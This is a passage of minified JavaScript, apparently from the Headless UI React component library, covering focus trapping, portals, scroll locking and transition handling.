t.add((()=>clearTimeout(n)))},microTask(...e){let n={current:!0};return K((()=>{n.current&&e[0]()})),t.add((()=>{n.current=!1}))},style(e,t,n){let r=e.style.getPropertyValue(t);return Object.assign(e.style,{[t]:n}),this.add((()=>{Object.assign(e.style,{[t]:r})}))},group(e){let t=G();return e(t),this.add((()=>t.dispose()))},add:t=>(e.includes(t)||e.push(t),()=>{let n=e.indexOf(t);if(n>=0)for(let t of e.splice(n,1))t()}),dispose(){for(let t of e.splice(0))t()}};return t}function X(e){return I.isServer?null:e instanceof Node?e.ownerDocument:null!=e&&e.hasOwnProperty("current")&&e.current instanceof Node?e.current.ownerDocument:document}let J=new Map,Z=new Map;function Q(e){var t;let n=null!=(t=Z.get(e))?t:0;return Z.set(e,n+1),0!==n||(J.set(e,{"aria-hidden":e.getAttribute("aria-hidden"),inert:e.inert}),e.setAttribute("aria-hidden","true"),e.inert=!0),()=>function(e){var t;let n=null!=(t=Z.get(e))?t:1;if(1===n?Z.delete(e):Z.set(e,n-1),1!==n)return;let r=J.get(e);r&&(null===r["aria-hidden"]?e.removeAttribute("aria-hidden"):e.setAttribute("aria-hidden",r["aria-hidden"]),e.inert=r.inert,J.delete(e))}(e)}function ee(e,{allowed:t,disallowed:n}={}){let r=q(e,"inert-others");B((()=>{var e,i;if(!r)return;let o=G();for(let t of null!=(e=null==n?void 0:n())?e:[])t&&o.add(Q(t));let s=null!=(i=null==t?void 0:t())?i:[];for(let e of s){if(!e)continue;let t=X(e);if(!t)continue;let n=e.parentElement;for(;n&&n!==t.body;){for(let e of n.children)s.some((t=>e.contains(t)))||o.add(Q(e));n=n.parentElement}}return o.dispose}),[r,t,n])}function te(t,n,r){let i=_((e=>{let t=e.getBoundingClientRect();0===t.x&&0===t.y&&0===t.width&&0===t.height&&r()}));(0,e.useEffect)((()=>{if(!t)return;let e=null===n?null:n instanceof HTMLElement?n:n.current;if(!e)return;let r=G();if("undefined"!=typeof ResizeObserver){let t=new ResizeObserver((()=>i.current(e)));t.observe(e),r.add((()=>t.disconnect()))}if("undefined"!=typeof IntersectionObserver){let t=new IntersectionObserver((()=>i.current(e)));t.observe(e),r.add((()=>t.disconnect()))}return()=>r.dispose()}),[n,i,t])}function ne(e,t,...n){if(e in t){let r=t[e];return"function"==typeof r?r(...n):r}let r=new Error(`Tried to handle "${e}" but there is no handler defined. Only defined handlers are: ${Object.keys(t).map((e=>`"${e}"`)).join(", ")}.`);throw Error.captureStackTrace&&Error.captureStackTrace(r,ne),r}let re=["[contentEditable=true]","[tabindex]","a[href]","area[href]","button:not([disabled])","iframe","input:not([disabled])","select:not([disabled])","textarea:not([disabled])"].map((e=>`${e}:not([tabindex='-1'])`)).join(","),ie=["[data-autofocus]"].map((e=>`${e}:not([tabindex='-1'])`)).join(",");var oe,se,ae=((se=ae||{})[se.First=1]="First",se[se.Previous=2]="Previous",se[se.Next=4]="Next",se[se.Last=8]="Last",se[se.WrapAround=16]="WrapAround",se[se.NoScroll=32]="NoScroll",se[se.AutoFocus=64]="AutoFocus",se),le=((oe=le||{})[oe.Error=0]="Error",oe[oe.Overflow=1]="Overflow",oe[oe.Success=2]="Success",oe[oe.Underflow=3]="Underflow",oe),ue=(e=>(e[e.Previous=-1]="Previous",e[e.Next=1]="Next",e))(ue||{});var ce=(e=>(e[e.Strict=0]="Strict",e[e.Loose=1]="Loose",e))(ce||{});var de=(e=>(e[e.Keyboard=0]="Keyboard",e[e.Mouse=1]="Mouse",e))(de||{});function he(e){null==e||e.focus({preventScroll:!0})}"undefined"!=typeof window&&"undefined"!=typeof document&&(document.addEventListener("keydown",(e=>{e.metaKey||e.altKey||e.ctrlKey||(document.documentElement.dataset.headlessuiFocusVisible="")}),!0),document.addEventListener("click",(e=>{1===e.detail?delete document.documentElement.dataset.headlessuiFocusVisible:0===e.detail&&(document.documentElement.dataset.headlessuiFocusVisible="")}),!0));let pe=["textarea","input"].join(",");function me(e,t,{sorted:n=!0,relativeTo:r=null,skipElements:i=[]}={}){let o=Array.isArray(e)?e.length>0?e[0].ownerDocument:document:e.ownerDocument,s=Array.isArray(e)?n?function(e,t=(e=>e)){return e.slice().sort(((e,n)=>{let r=t(e),i=t(n);if(null===r||null===i)return 0;let o=r.compareDocumentPosition(i);return o&Node.DOCUMENT_POSITION_FOLLOWING?-1:o&Node.DOCUMENT_POSITION_PRECEDING?1:0}))}(e):e:64&t?function(e=document.body){return null==e?[]:Array.from(e.querySelectorAll(ie)).sort(((e,t)=>Math.sign((e.tabIndex||Number.MAX_SAFE_INTEGER)-(t.tabIndex||Number.MAX_SAFE_INTEGER))))}(e):function(e=document.body){return null==e?[]:Array.from(e.querySelectorAll(re)).sort(((e,t)=>Math.sign((e.tabIndex||Number.MAX_SAFE_INTEGER)-(t.tabIndex||Number.MAX_SAFE_INTEGER))))}(e);i.length>0&&s.length>1&&(s=s.filter((e=>!i.some((t=>null!=t&&"current"in t?(null==t?void 0:t.current)===e:t===e))))),r=null!=r?r:o.activeElement;let a,l=(()=>{if(5&t)return 1;if(10&t)return-1;throw new Error("Missing Focus.First, Focus.Previous, Focus.Next or Focus.Last")})(),u=(()=>{if(1&t)return 0;if(2&t)return Math.max(0,s.indexOf(r))-1;if(4&t)return Math.max(0,s.indexOf(r))+1;if(8&t)return s.length-1;throw new Error("Missing Focus.First, Focus.Previous, Focus.Next or Focus.Last")})(),c=32&t?{preventScroll:!0}:{},d=0,h=s.length;do{if(d>=h||d+h<=0)return 0;let e=u+d;if(16&t)e=(e+h)%h;else{if(e<0)return 3;if(e>=h)return 1}a=s[e],null==a||a.focus(c),d+=l}while(a!==o.activeElement);return 6&t&&function(e){var t,n;return null!=(n=null==(t=null==e?void 0:e.matches)?void 0:t.call(e,pe))&&n}(a)&&a.select(),2}function fe(){return/iPhone/gi.test(window.navigator.platform)||/Mac/gi.test(window.navigator.platform)&&window.navigator.maxTouchPoints>0}function ge(){return fe()||/Android/gi.test(window.navigator.userAgent)}function ve(t,n,r,i){let o=_(r);(0,e.useEffect)((()=>{if(t)return document.addEventListener(n,e,i),()=>document.removeEventListener(n,e,i);function e(e){o.current(e)}}),[t,n,i])}function ye(t,n,r,i){let o=_(r);(0,e.useEffect)((()=>{if(t)return window.addEventListener(n,e,i),()=>window.removeEventListener(n,e,i);function e(e){o.current(e)}}),[t,n,i])}function we(...t){return(0,e.useMemo)((()=>X(...t)),[...t])}function be(...e){return Array.from(new Set(e.flatMap((e=>"string"==typeof e?e.split(" "):[])))).filter(Boolean).join(" ")}var xe=(e=>(e[e.None=0]="None",e[e.RenderStrategy=1]="RenderStrategy",e[e.Static=2]="Static",e))(xe||{}),Ee=(e=>(e[e.Unmount=0]="Unmount",e[e.Hidden=1]="Hidden",e))(Ee||{});function Se({ourProps:e,theirProps:t,slot:n,defaultTag:r,features:i,visible:o=!0,name:s,mergeRefs:a}){a=null!=a?a:Te;let l=Ce(t,e);if(o)return Pe(l,n,r,s,a);let u=null!=i?i:0;if(2&u){let{static:e=!1,...t}=l;if(e)return Pe(t,n,r,s,a)}if(1&u){let{unmount:e=!0,...t}=l;return ne(e?0:1,{0:()=>null,1:()=>Pe({...t,hidden:!0,style:{display:"none"}},n,r,s,a)})}return Pe(l,n,r,s,a)}function Pe(t,n={},r,i,o){let{as:s=r,children:a,refName:l="ref",...u}=ke(t,["unmount","static"]),c=void 0!==t.ref?{[l]:t.ref}:{},d="function"==typeof a?a(n):a;"className"in u&&u.className&&"function"==typeof u.className&&(u.className=u.className(n)),u["aria-labelledby"]&&u["aria-labelledby"]===u.id&&(u["aria-labelledby"]=void 0);let h={};if(n){let e=!1,t=[];for(let[r,i]of Object.entries(n))"boolean"==typeof i&&(e=!0),!0===i&&t.push(r.replace(/([A-Z])/g,(e=>`-${e.toLowerCase()}`)));if(e){h["data-headlessui-state"]=t.join(" ");for(let e of t)h[`data-${e}`]=""}}if(s===e.Fragment&&(Object.keys(Re(u)).length>0||Object.keys(Re(h)).length>0)){if((0,e.isValidElement)(d)&&!(Array.isArray(d)&&d.length>1)){let t=d.props,n=null==t?void 0:t.className,r="function"==typeof n?(...e)=>be(n(...e),u.className):be(n,u.className),i=r?{className:r}:{},s=Ce(d.props,Re(ke(u,["ref"])));for(let e in h)e in s&&delete h[e];return(0,e.cloneElement)(d,Object.assign({},s,h,c,{ref:o(d.ref,c.ref)},i))}if(Object.keys(Re(u)).length>0)throw new Error(['Passing props on "Fragment"!',"",`The current component <${i} /> is rendering a "Fragment".`,"However we need to passthrough the following props:",Object.keys(Re(u)).concat(Object.keys(Re(h))).map((e=>` - ${e}`)).join("\n"),"","You can apply a few solutions:",['Add an `as="..."` prop, to ensure that we render an actual element instead of a "Fragment".',"Render a single element as the child so that we can forward the props onto that element."].map((e=>` - ${e}`)).join("\n")].join("\n"))}return(0,e.createElement)(s,Object.assign({},ke(u,["ref"]),s!==e.Fragment&&c,s!==e.Fragment&&h),d)}function Te(...e){return e.every((e=>null==e))?void 0:t=>{for(let n of e)null!=n&&("function"==typeof n?n(t):n.current=t)}}function Ce(...e){if(0===e.length)return{};if(1===e.length)return e[0];let t={},n={};for(let r of e)for(let e in r)e.startsWith("on")&&"function"==typeof r[e]?(null!=n[e]||(n[e]=[]),n[e].push(r[e])):t[e]=r[e];if(t.disabled||t["aria-disabled"])for(let e in n)/^(on(?:Click|Pointer|Mouse|Key)(?:Down|Up|Press)?)$/.test(e)&&(n[e]=[e=>{var t;return null==(t=null==e?void 0:e.preventDefault)?void 0:t.call(e)}]);for(let e in n)Object.assign(t,{[e](t,...r){let i=n[e];for(let e of i){if((t instanceof Event||(null==t?void 0:t.nativeEvent)instanceof Event)&&t.defaultPrevented)return;e(t,...r)}}});return t}function Ae(t){var n;return Object.assign((0,e.forwardRef)(t),{displayName:null!=(n=t.displayName)?n:t.name})}function Re(e){let t=Object.assign({},e);for(let e in t)void 0===t[e]&&delete t[e];return t}function ke(e,t=[]){let n=Object.assign({},e);for(let e of t)e in n&&delete n[e];return n}var De=(e=>(e[e.None=1]="None",e[e.Focusable=2]="Focusable",e[e.Hidden=4]="Hidden",e))(De||{});let Oe=Ae((function(e,t){var n;let{features:r=1,...i}=e;return Se({ourProps:{ref:t,"aria-hidden":2==(2&r)||(null!=(n=i["aria-hidden"])?n:void 0),hidden:4==(4&r)||void 0,style:{position:"fixed",top:1,left:1,width:1,height:0,padding:0,margin:-1,overflow:"hidden",clip:"rect(0, 0, 0, 0)",whiteSpace:"nowrap",borderWidth:"0",...4==(4&r)&&2!=(2&r)&&{display:"none"}}},theirProps:i,slot:{},defaultTag:"span",name:"Hidden"})})),Ve=(0,e.createContext)(null);function Le({children:t,node:n}){let[r,i]=(0,e.useState)(null),o=Me(null!=n?n:r);return e.createElement(Ve.Provider,{value:o},t,null===o&&e.createElement(Oe,{features:De.Hidden,ref:e=>{var t,n;if(e)for(let r of null!=(n=null==(t=X(e))?void 0:t.querySelectorAll("html > *, body > *"))?n:[])if(r!==document.body&&r!==document.head&&r instanceof HTMLElement&&null!=r&&r.contains(e)){i(r);break}}}))}function Me(t=null){var n;return null!=(n=(0,e.useContext)(Ve))?n:t}function Fe(){let e;return{before({doc:t}){var n;let r=t.documentElement,i=null!=(n=t.defaultView)?n:window;e=Math.max(0,i.innerWidth-r.clientWidth)},after({doc:t,d:n}){let r=t.documentElement,i=Math.max(0,r.clientWidth-r.offsetWidth),o=Math.max(0,e-i);n.style(r,"paddingRight",`${o}px`)}}}function je(){return fe()?{before({doc:e,d:t,meta:n}){function r(e){return n.containers.flatMap((e=>e())).some((t=>t.contains(e)))}t.microTask((()=>{var n;if("auto"!==window.getComputedStyle(e.documentElement).scrollBehavior){let n=G();n.style(e.documentElement,"scrollBehavior","auto"),t.add((()=>t.microTask((()=>n.dispose()))))}let i=null!=(n=window.scrollY)?n:window.pageYOffset,o=null;t.addEventListener(e,"click",(t=>{if(t.target instanceof HTMLElement)try{let n=t.target.closest("a");if(!n)return;let{hash:i}=new URL(n.href),s=e.querySelector(i);s&&!r(s)&&(o=s)}catch{}}),!0),t.addEventListener(e,"touchstart",(e=>{if(e.target instanceof HTMLElement)if(r(e.target)){let n=e.target;for(;n.parentElement&&r(n.parentElement);)n=n.parentElement;t.style(n,"overscrollBehavior","contain")}else t.style(e.target,"touchAction","none")})),t.addEventListener(e,"touchmove",(e=>{if(e.target instanceof HTMLElement){if("INPUT"===e.target.tagName)return;if(r(e.target)){let t=e.target;for(;t.parentElement&&""!==t.dataset.headlessuiPortal&&!(t.scrollHeight>t.clientHeight||t.scrollWidth>t.clientWidth);)t=t.parentElement;""===t.dataset.headlessuiPortal&&e.preventDefault()}else e.preventDefault()}}),{passive:!1}),t.add((()=>{var e;let t=null!=(e=window.scrollY)?e:window.pageYOffset;i!==t&&window.scrollTo(0,i),o&&o.isConnected&&(o.scrollIntoView({block:"nearest"}),o=null)}))}))}}:{}}function Ne(e){let t={};for(let n of e)Object.assign(t,n(t));return t}let Ie=W((()=>new Map),{PUSH(e,t){var n;let r=null!=(n=this.get(e))?n:{doc:e,count:0,d:G(),meta:new Set};return r.count++,r.meta.add(t),this.set(e,r),this},POP(e,t){let n=this.get(e);return n&&(n.count--,n.meta.delete(t)),this},SCROLL_PREVENT({doc:e,d:t,meta:n}){let r={doc:e,d:t,meta:Ne(n)},i=[je(),Fe(),{before({doc:e,d:t}){t.style(e.documentElement,"overflow","hidden")}}];i.forEach((({before:e})=>null==e?void 0:e(r))),i.forEach((({after:e})=>null==e?void 0:e(r)))},SCROLL_ALLOW({d:e}){e.dispose()},TEARDOWN({doc:e}){this.delete(e)}});function Be(){let n=function(){let e="undefined"==typeof document;return"useSyncExternalStore"in t&&(e=>e.useSyncExternalStore)(t)((()=>()=>{}),(()=>!1),(()=>!e))}(),[r,i]=e.useState(I.isHandoffComplete);return r&&!1===I.isHandoffComplete&&i(!1),e.useEffect((()=>{!0!==r&&i(!0)}),[r]),e.useEffect((()=>I.handoff()),[]),!n&&r}Ie.subscribe((()=>{let e=Ie.getSnapshot(),t=new Map;for(let[n]of e)t.set(n,n.documentElement.style.overflow);for(let n of e.values()){let e="hidden"===t.get(n.doc),r=0!==n.count;(r&&!e||!r&&e)&&Ie.dispatch(n.count>0?"SCROLL_PREVENT":"SCROLL_ALLOW",n),0===n.count&&Ie.dispatch("TEARDOWN",n)}}));let _e=Symbol();function Ue(...t){let n=(0,e.useRef)(t);(0,e.useEffect)((()=>{n.current=t}),[t]);let r=Y((e=>{for(let t of n.current)null!=t&&("function"==typeof t?t(e):t.current=e)}));return t.every((e=>null==e||(null==e?void 0:e[_e])))?void 0:r}let $e=(0,e.createContext)((()=>{}));function We({value:t,children:n}){return e.createElement($e.Provider,{value:t},n)}let He=(0,e.createContext)(null);He.displayName="OpenClosedContext";var ze=(e=>(e[e.Open=1]="Open",e[e.Closed=2]="Closed",e[e.Closing=4]="Closing",e[e.Opening=8]="Opening",e))(ze||{});function qe(){return(0,e.useContext)(He)}function Ye({value:t,children:n}){return e.createElement(He.Provider,{value:t},n)}function Ke({children:t}){return e.createElement(He.Provider,{value:null},t)}let Ge=(0,e.createContext)(!1);function Xe(t){return e.createElement(Ge.Provider,{value:t.force},t.children)}let Je=(0,e.createContext)(void 0),Ze=(0,e.createContext)(null);function Qe(){let t=(0,e.useContext)(Ze);if(null===t){let e=new Error("You used a component, but it is not inside a relevant parent.");throw Error.captureStackTrace&&Error.captureStackTrace(e,Qe),e}return t}Ze.displayName="DescriptionContext";let et=Ae((function(t,n){let r=(0,e.useId)(),i=(0,e.useContext)(Je),{id:o=`headlessui-description-${r}`,...s}=t,a=Qe(),l=Ue(n);B((()=>a.register(o)),[o,a.register]);let u=i||!1,c=(0,e.useMemo)((()=>({...a.slot,disabled:u})),[a.slot,u]);return Se({ourProps:{ref:l,...a.props,id:o},theirProps:s,slot:c,defaultTag:"p",name:a.name||"Description"})})),tt=Object.assign(et,{});function nt(){let[t]=(0,e.useState)(G);return(0,e.useEffect)((()=>()=>t.dispose()),[t]),t}function rt(){let t=(0,e.useRef)(!1);return B((()=>(t.current=!0,()=>{t.current=!1})),[]),t}function it(t){let n=Y(t),r=(0,e.useRef)(!1);(0,e.useEffect)((()=>(r.current=!1,()=>{r.current=!0,K((()=>{r.current&&n()}))})),[n])}var ot=(e=>(e[e.Forwards=0]="Forwards",e[e.Backwards=1]="Backwards",e))(ot||{});function st(t,n){let r=(0,e.useRef)([]),i=Y(t);(0,e.useEffect)((()=>{let e=[...r.current];for(let[t,o]of n.entries())if(r.current[t]!==o){let t=i(n,e);return r.current=n,t}}),[i,...n])}let at=[];function lt(e){if(!e)return new Set;if("function"==typeof e)return new Set(e());let t=new Set;for(let n of e.current)n.current instanceof HTMLElement&&t.add(n.current);return t}!function(e){function t(){"loading"!==document.readyState&&((()=>{function e(e){if(!(e.target instanceof HTMLElement)||e.target===document.body||at[0]===e.target)return;let t=e.target;t=t.closest(re),at.unshift(null!=t?t:e.target),at=at.filter((e=>null!=e&&e.isConnected)),at.splice(10)}window.addEventListener("click",e,{capture:!0}),window.addEventListener("mousedown",e,{capture:!0}),window.addEventListener("focus",e,{capture:!0}),document.body.addEventListener("click",e,{capture:!0}),document.body.addEventListener("mousedown",e,{capture:!0}),document.body.addEventListener("focus",e,{capture:!0})})(),document.removeEventListener("DOMContentLoaded",t))}"undefined"!=typeof window&&"undefined"!=typeof document&&(document.addEventListener("DOMContentLoaded",t),t())}();var ut=(e=>(e[e.None=0]="None",e[e.InitialFocus=1]="InitialFocus",e[e.TabLock=2]="TabLock",e[e.FocusLock=4]="FocusLock",e[e.RestoreFocus=8]="RestoreFocus",e[e.AutoFocus=16]="AutoFocus",e))(ut||{});let ct=Ae((function(t,n){let r=(0,e.useRef)(null),i=Ue(r,n),{initialFocus:o,initialFocusFallback:s,containers:a,features:l=15,...u}=t;Be()||(l=0);let c=we(r);!function(t,{ownerDocument:n}){let r=!!(8&t),i=function(t=!0){let n=(0,e.useRef)(at.slice());return st((([e],[t])=>{!0===t&&!1===e&&K((()=>{n.current.splice(0)})),!1===t&&!0===e&&(n.current=at.slice())}),[t,at,n]),Y((()=>{var e;return null!=(e=n.current.find((e=>null!=e&&e.isConnected)))?e:null}))}(r);st((()=>{r||(null==n?void 0:n.activeElement)===(null==n?void 0:n.body)&&he(i())}),[r]),it((()=>{r&&he(i())}))}(l,{ownerDocument:c});let d=function(t,{ownerDocument:n,container:r,initialFocus:i,initialFocusFallback:o}){let s=(0,e.useRef)(null),a=q(!!(1&t),"focus-trap#initial-focus"),l=rt();return st((()=>{if(0===t)return;if(!a)return void(null!=o&&o.current&&he(o.current));let e=r.current;e&&K((()=>{if(!l.current)return;let r=null==n?void 0:n.activeElement;if(null!=i&&i.current){if((null==i?void 0:i.current)===r)return void(s.current=r)}else if(e.contains(r))return void(s.current=r);if(null!=i&&i.current)he(i.current);else{if(16&t){if(me(e,ae.First|ae.AutoFocus)!==le.Error)return}else if(me(e,ae.First)!==le.Error)return;if(null!=o&&o.current&&(he(o.current),(null==n?void 0:n.activeElement)===o.current))return;console.warn("There are no focusable elements inside the ")}s.current=null==n?void 0:n.activeElement}))}),[o,a,t]),s}(l,{ownerDocument:c,container:r,initialFocus:o,initialFocusFallback:s});!function(e,{ownerDocument:t,container:n,containers:r,previousActiveElement:i}){let o=rt(),s=!!(4&e);U(null==t?void 0:t.defaultView,"focus",(e=>{if(!s||!o.current)return;let t=lt(r);n.current instanceof HTMLElement&&t.add(n.current);let a=i.current;if(!a)return;let l=e.target;l&&l instanceof HTMLElement?ht(t,l)?(i.current=l,he(l)):(e.preventDefault(),e.stopPropagation(),he(a)):he(i.current)}),!0)}(l,{ownerDocument:c,container:r,containers:a,previousActiveElement:d});let h=function(){let t=(0,e.useRef)(0);return ye(!0,"keydown",(e=>{"Tab"===e.key&&(t.current=e.shiftKey?1:0)}),!0),t}(),p=Y((e=>{let t=r.current;t&&ne(h.current,{[ot.Forwards]:()=>{me(t,ae.First,{skipElements:[e.relatedTarget,s]})},[ot.Backwards]:()=>{me(t,ae.Last,{skipElements:[e.relatedTarget,s]})}})})),m=q(!!(2&l),"focus-trap#tab-lock"),f=nt(),g=(0,e.useRef)(!1),v={ref:i,onKeyDown(e){"Tab"==e.key&&(g.current=!0,f.requestAnimationFrame((()=>{g.current=!1})))},onBlur(e){if(!(4&l))return;let t=lt(a);r.current instanceof HTMLElement&&t.add(r.current);let n=e.relatedTarget;n instanceof HTMLElement&&"true"!==n.dataset.headlessuiFocusGuard&&(ht(t,n)||(g.current?me(r.current,ne(h.current,{[ot.Forwards]:()=>ae.Next,[ot.Backwards]:()=>ae.Previous})|ae.WrapAround,{relativeTo:e.target}):e.target instanceof HTMLElement&&he(e.target)))}};return e.createElement(e.Fragment,null,m&&e.createElement(Oe,{as:"button",type:"button","data-headlessui-focus-guard":!0,onFocus:p,features:De.Focusable}),Se({ourProps:v,theirProps:u,defaultTag:"div",name:"FocusTrap"}),m&&e.createElement(Oe,{as:"button",type:"button","data-headlessui-focus-guard":!0,onFocus:p,features:De.Focusable}))})),dt=Object.assign(ct,{features:ut});function ht(e,t){for(let n of e)if(n.contains(t))return!0;return!1}const pt=window.ReactDOM;let mt=e.Fragment,ft=Ae((function(t,n){let r=t,i=(0,e.useRef)(null),o=Ue(function(e,t=!0){return Object.assign(e,{[_e]:t})}((e=>{i.current=e})),n),s=we(i),a=function(t){let n=(0,e.useContext)(Ge),r=(0,e.useContext)(vt),i=we(t),[o,s]=(0,e.useState)((()=>{var e;if(!n&&null!==r)return null!=(e=r.current)?e:null;if(I.isServer)return null;let t=null==i?void 0:i.getElementById("headlessui-portal-root");if(t)return t;if(null===i)return null;let o=i.createElement("div");return o.setAttribute("id","headlessui-portal-root"),i.body.appendChild(o)}));return(0,e.useEffect)((()=>{null!==o&&(null!=i&&i.body.contains(o)||null==i||i.body.appendChild(o))}),[o,i]),(0,e.useEffect)((()=>{n||null!==r&&s(r.current)}),[r,s,n]),o}(i),[l]=(0,e.useState)((()=>{var e;return I.isServer?null:null!=(e=null==s?void 0:s.createElement("div"))?e:null})),u=(0,e.useContext)(yt),c=Be();return B((()=>{!a||!l||a.contains(l)||(l.setAttribute("data-headlessui-portal",""),a.appendChild(l))}),[a,l]),B((()=>{if(l&&u)return u.register(l)}),[u,l]),it((()=>{var e;!a||!l||(l instanceof Node&&a.contains(l)&&a.removeChild(l),a.childNodes.length<=0&&(null==(e=a.parentElement)||e.removeChild(a)))})),c&&a&&l?(0,pt.createPortal)(Se({ourProps:{ref:o},theirProps:r,slot:{},defaultTag:mt,name:"Portal"}),l):null})),gt=e.Fragment,vt=(0,e.createContext)(null),yt=(0,e.createContext)(null),wt=Ae((function(t,n){let r=Ue(n),{enabled:i=!0,...o}=t;return i?e.createElement(ft,{...o,ref:r}):Se({ourProps:{ref:r},theirProps:o,slot:{},defaultTag:mt,name:"Portal"})})),bt=Ae((function(t,n){let{target:r,...i}=t,o={ref:Ue(n)};return e.createElement(vt.Provider,{value:r},Se({ourProps:o,theirProps:i,defaultTag:gt,name:"Popover.Group"}))})),xt=Object.assign(wt,{Group:bt});var Et,St=((Et=St||{})[Et.None=0]="None",Et[Et.Closed=1]="Closed",Et[Et.Enter=2]="Enter",Et[Et.Leave=4]="Leave",Et);function Pt(e){let t={};for(let n in e)!0===e[n]&&(t[`data-${n}`]="");return t}function Tt(t){var n;return!!(t.enter||t.enterFrom||t.enterTo||t.leave||t.leaveFrom||t.leaveTo)||(null!=(n=t.as)?n:Ot)!==e.Fragment||1===e.Children.count(t.children)}let Ct=(0,e.createContext)(null);Ct.displayName="TransitionContext";var At=(e=>(e.Visible="visible",e.Hidden="hidden",e))(At||{});let Rt=(0,e.createContext)(null);function kt(e){return"children"in e?kt(e.children):e.current.filter((({el:e})=>null!==e.current)).filter((({state:e})=>"visible"===e)).length>0}function Dt(t,n){let r=_(t),i=(0,e.useRef)([]),o=rt(),s=nt(),a=Y(((e,t=Ee.Hidden)=>{let n=i.current.findIndex((({el:t})=>t===e));-1!==n&&(ne(t,{[Ee.Unmount](){i.current.splice(n,1)},[Ee.Hidden](){i.current[n].state="hidden"}}),s.microTask((()=>{var e;!kt(i)&&o.current&&(null==(e=r.current)||e.call(r))})))})),l=Y((e=>{let t=i.current.find((({el:t})=>t===e));return t?"visible"!==t.state&&(t.state="visible"):i.current.push({el:e,state:"visible"}),()=>a(e,Ee.Unmount)})),u=(0,e.useRef)([]),c=(0,e.useRef)(Promise.resolve()),d=(0,e.useRef)({enter:[],leave:[]}),h=Y(((e,t,r)=>{u.current.splice(0),n&&(n.chains.current[t]=n.chains.current[t].filter((([t])=>t!==e))),null==n||n.chains.current[t].push([e,new Promise((e=>{u.current.push(e)}))]),null==n||n.chains.current[t].push([e,new Promise((e=>{Promise.all(d.current[t].map((([e,t])=>t))).then((()=>e()))}))]),"enter"===t?c.current=c.current.then((()=>null==n?void 0:n.wait.current)).then((()=>r(t))):r(t)})),p=Y(((e,t,n)=>{Promise.all(d.current[t].splice(0).map((([e,t])=>t))).then((()=>{var e;null==(e=u.current.shift())||e()})).then((()=>n(t)))}));return(0,e.useMemo)((()=>({children:i,register:l,unregister:a,onStart:h,onStop:p,wait:c,chains:d})),[l,a,i,h,p,d,c])}Rt.displayName="NestingContext";let Ot=e.Fragment,Vt=xe.RenderStrategy,Lt=Ae((function(t,n){let{show:r,appear:i=!1,unmount:o=!0,...s}=t,a=(0,e.useRef)(null),l=Ue(...Tt(t)?[a,n]:null===n?[]:[n]);Be();let u=qe();if(void 0===r&&null!==u&&(r=(u&ze.Open)===ze.Open),void 0===r)throw new Error("A is used but it is missing a `show={true | false}` prop.");let[c,d]=(0,e.useState)(r?"visible":"hidden"),h=Dt((()=>{r||d("hidden")})),[p,m]=(0,e.useState)(!0),f=(0,e.useRef)([r]);B((()=>{!1!==p&&f.current[f.current.length-1]!==r&&(f.current.push(r),m(!1))}),[f,r]);let g=(0,e.useMemo)((()=>({show:r,appear:i,initial:p})),[r,i,p]);te(r,a,(()=>d("hidden"))),B((()=>{r?d("visible"):!kt(h)&&null!==a.current&&d("hidden")}),[r,h]);let v={unmount:o},y=Y((()=>{var e;p&&m(!1),null==(e=t.beforeEnter)||e.call(t)})),w=Y((()=>{var e;p&&m(!1),null==(e=t.beforeLeave)||e.call(t)}));return e.createElement(Rt.Provider,{value:h},e.createElement(Ct.Provider,{value:g},Se({ourProps:{...v,as:e.Fragment,children:e.createElement(Mt,{ref:l,...v,...s,beforeEnter:y,beforeLeave:w})},theirProps:{},defaultTag:e.Fragment,features:Vt,visible:"visible"===c,name:"Transition"})))})),Mt=Ae((function(t,n){var r,i;let{transition:o=!0,beforeEnter:s,afterEnter:a,beforeLeave:l,afterLeave:u,enter:c,enterFrom:d,enterTo:h,entered:p,leave:m,leaveFrom:f,leaveTo:g,...v}=t,y=(0,e.useRef)(null),w=Tt(t),b=Ue(...w?[y,n]:null===n?[]:[n]),x=null==(r=v.unmount)||r?Ee.Unmount:Ee.Hidden,{show:E,appear:S,initial:P}=function(){let t=(0,e.useContext)(Ct);if(null===t)throw new Error("A is used but it is missing a parent or .");return t}(),[T,C]=(0,e.useState)(E?"visible":"hidden"),A=function(){let t=(0,e.useContext)(Rt);if(null===t)throw new Error("A is used but it is missing a parent or .");return t}(),{register:R,unregister:k}=A;B((()=>R(y)),[R,y]),B((()=>{if(x===Ee.Hidden&&y.current)return E&&"visible"!==T?void C("visible"):ne(T,{hidden:()=>k(y),visible:()=>R(y)})}),[T,y,R,k,E,x]);let D=Be();B((()=>{if(w&&D&&"visible"===T&&null===y.current)throw new Error("Did you forget to passthrough the `ref` to the actual DOM node?")}),[y,T,D,w]);let O=P&&!S,V=S&&E&&P,L=(0,e.useRef)(!1),M=Dt((()=>{L.current||(C("hidden"),k(y))}),A),F=Y((e=>{L.current=!0;let t=e?"enter":"leave";M.onStart(y,t,(e=>{"enter"===e?null==s||s():"leave"===e&&(null==l||l())}))})),j=Y((e=>{let t=e?"enter":"leave";L.current=!1,M.onStop(y,t,(e=>{"enter"===e?null==a||a():"leave"===e&&(null==u||u())})),"leave"===t&&!kt(M)&&(C("hidden"),k(y))}));(0,e.useEffect)((()=>{w&&o||(F(E),j(E))}),[E,w,o]);let N=!(!o||!w||!D||O),[,I]=function(t,n,r,i){let[o,s]=(0,e.useState)(r),{hasFlag:a,addFlag:l,removeFlag:u}=function(t=0){let[n,r]=(0,e.useState)(t),i=(0,e.useCallback)((e=>r(e)),[n]),o=(0,e.useCallback)((e=>r((t=>t|e))),[n]),s=(0,e.useCallback)((e=>(n&e)===e),[n]),a=(0,e.useCallback)((e=>r((t=>t&~e))),[r]),l=(0,e.useCallback)((e=>r((t=>t^e))),[r]);return{flags:n,setFlag:i,addFlag:o,hasFlag:s,removeFlag:a,toggleFlag:l}}(t&&o?3:0),c=(0,e.useRef)(!1),d=(0,e.useRef)(!1),h=nt();return B((function e(){var o;if(!t)return;r&&s(!0);let a=n.current;return a?(null==(o=null==i?void 0:i.start)||o.call(i,r),function(e,{prepare:t,run:n,done:r,inFlight:i}){let o=G();return function(e,{inFlight:t,prepare:n}){if(null!=t&&t.current)return void n();let r=e.style.transition;e.style.transition="none",n(),e.offsetHeight,e.style.transition=r}(e,{prepare:t,inFlight:i}),o.nextFrame((()=>{o.add(function(e,t){let n=function(e){let t={called:!1};return(...n)=>{if(!t.called)return t.called=!0,e(...n)}}(t),r=G();if(!e)return r.dispose;let{transitionDuration:i,transitionDelay:o}=getComputedStyle(e),[s,a]=[i,o].map((e=>{let[t=0]=e.split(",").filter(Boolean).map((e=>e.includes("ms")?parseFloat(e):1e3*parseFloat(e))).sort(((e,t)=>t-e));return t})),l=s+a;if(0!==l){let t=r.group((r=>{let 